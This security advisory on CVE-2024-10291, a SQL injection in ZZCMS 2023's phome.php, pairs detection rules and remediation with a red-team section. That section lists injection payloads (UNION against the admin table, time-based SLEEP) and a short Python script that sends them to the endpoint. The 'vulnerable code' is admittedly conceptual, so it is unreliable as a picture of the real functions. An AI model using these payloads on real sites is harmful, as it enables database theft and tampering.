CVE-2024-10291

Executive Summary

CVE-2024-10291 is a critical SQL injection vulnerability discovered in ZZCMS 2023. The flaw resides in the file 3/Ebak5.1/upload/phome.php, specifically within the functions Ebak_DoExecSQL and Ebak_DotranExecutSQL. By manipulating the phome argument, an unauthenticated remote attacker can execute arbitrary SQL commands against the underlying database. This can lead to complete data exfiltration, modification, or deletion, and potentially full server compromise. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the ZZCMS content management system.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but based on the description and impact, a realistic score is 9.8 (Critical).
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the phome.php file. The phome parameter is passed directly into SQL queries without proper sanitization or parameterization. The functions Ebak_DoExecSQL and Ebak_DotranExecutSQL are designed to execute SQL statements, but they fail to validate user input. An attacker can inject malicious SQL code by crafting a payload in the phome parameter.

Example vulnerable code snippet (conceptual):

$phome = $_GET['phome'];
$sql = "SELECT * FROM table WHERE id = '$phome'";
$result = mysql_query($sql);

The attacker can break out of the query string and execute arbitrary SQL commands.

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS 2023):

function Ebak_DoExecSQL($phome) {
    $sql = "SELECT * FROM `zzcms_table` WHERE `field` = '$phome'";
    $result = mysql_query($sql);
    // ...
}

Patched Code (Hypothetical):

function Ebak_DoExecSQL($phome) {
    $stmt = $db->prepare("SELECT * FROM `zzcms_table` WHERE `field` = ?");
    $stmt->bind_param("s", $phome);
    $stmt->execute();
    // ...
}

The patched version uses prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running ZZCMS 2023 with the vulnerable phome.php file accessible.
• Knowledge of the database structure (can be enumerated via error-based or blind SQL injection).

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/3/Ebak5.1/upload/phome.php?phome=INJECTION
2. Use a SQL injection payload to extract data. For example:

   ' OR '1'='1' -- -
   

3. Use UNION-based injection to retrieve data from other tables:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM admin-- -
   

4. For blind injection, use time-based payloads:

   ' OR IF(1=1, SLEEP(5), 0) -- -
   

Example Exploit (Python):

import requests

target = "http://target/3/Ebak5.1/upload/phome.php"
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM admin-- -"
params = {'phome': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /3/Ebak5.1/upload/phome.php with suspicious phome parameters containing SQL keywords (e.g., UNION, SELECT, OR, --).
• Use WAF rules to block SQL injection patterns.
• Deploy the detection rules provided in the Detection Engineering section.

Response:

• Immediately isolate the affected server.
• Review database logs for unauthorized queries.
• Restore from a known good backup.
• Apply input validation and parameterized queries as a permanent fix.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /3/Ebak5.1/upload/phome.php with phome parameter containing SQL injection patterns.
  • Outbound database connections from the web server to unknown IPs (data exfiltration).
• File IOCs:
  • Modified or new files in the ZZCMS installation directory (e.g., webshells).
  • Suspicious entries in web server access logs.
• System IOCs:
  • Unusual database queries (e.g., SELECT * FROM admin).
  • High CPU or memory usage due to time-based injection.

Detection Engineering

YARA Rule

rule CVE_2024_10291_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10291 in ZZCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10291"
    strings:
        $s1 = "phome=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "--" nocase
        $s6 = "SLEEP" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6))
}

Sigma Rule

title: CVE-2024-10291 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting ZZCMS phome.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "phome="
            - "UNION"
            - "SELECT"
            - "OR"
            - "--"
            - "SLEEP"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10291 SQL Injection Attempt"; flow:to_server; content:"phome="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable file: Rename or remove 3/Ebak5.1/upload/phome.php if not needed.
2. Apply input validation: Sanitize the phome parameter to allow only expected values (e.g., alphanumeric).
3. Use parameterized queries: Rewrite the affected functions to use prepared statements.
4. Deploy a WAF: Block SQL injection patterns at the network edge.

Long-term Fix:

• Upgrade to a patched version of ZZCMS when available.
• Conduct a full security audit of the application.
• Implement secure coding practices (e.g., OWASP guidelines).

Valters IT